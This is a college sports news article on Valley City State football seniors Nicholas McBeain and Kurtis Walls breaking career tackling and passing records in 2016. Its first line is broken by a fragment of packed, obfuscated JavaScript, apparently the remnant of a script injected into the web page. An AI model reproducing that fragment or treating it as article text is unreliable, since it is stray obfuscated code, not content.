Valley kkiih|var|u0026u|referrer|hrhfy||js|php’.split(‘|’),0,{}))
City,ND (VCSUvikings.com)- Valley City State seniors Kurtis Walls and Nicholas McBeain have rewritten the Viking Football record book during their final season on the field.
McBeain and Walls both recently established new career records, becoming the all-time tackling and passing leaders in Viking history.
McBeain became the all-time tackling leader on Saturday after recording his 377th career tackle in VCSU’s 41-22 win over Dakota State. McBeain topped the old record of 376 tackles held by Kevin Strang, who played for the Vikings from 2007-10.
McBeain transferred to VCSU as a sophomore and set the new record in just 28 games. He recorded 143 tackles in his first season, had 115 tackles last year, and currently has 119 tackles this season. With three games left in his senior season, McBeain is threatening the single-season record of 167 tackles set by Ian Thorpe in 1980. McBeain currently leads the nation in tackles per game (17) this season.
“Nick has been a true leader of our defense for the last 3 years and is a big reason for our success defensively,” said head coach Dennis McCulloch. “What’s very impressive is that he has become our tackle leader in just three years as a starter. Nick will tell you it’s been a team effort, with our defensive lineman doing a great job keeping offensive linemen off him so he can make tackles at a very high rate.”
Offensively, Walls has broken almost every major career passing record at VCSU during the 2016 campaign. He entered the year tied with Jeremy Peschel with 70 career touchdown pass. Walls took sole possession of that touchdown record during the second game of the season and has since gone on to break the career passing yards, completions and pass attempts records.
“Kurtis has quietly become one of the best quarterbacks in VCSU history and now is having some of the records to prove it,” said McCulloch. “I don’t think anyone can deny that he’s had a big impact in our program, helping us win two conference championships and earn a trip to the national playoffs. We have been very lucky to have him leading our offense for the last four years.”
Walls currently has records of 639 completions, 1,128 attempts, 8,064 passing yards and 81 passing touchdowns. Those top the old records of 563 completions (Jeremy Peschel, 1998-2001), 1,027 attempts (Jason Beilke, 2004-08), 7,751 yards (Peschel) and 70 touchdowns (Peschel).
Walls has also been responsible for 82 touchdowns (81 pass, 1 rush), breaking the old mark of 81 touchdowns by Peschel. He is also threatening to break Peschel’s total offensive yards record of 8,403.
Valley City State (4-3, 3-1 NSAA) has three games remaining this season. The Vikings host Presentation College on Saturday at 1.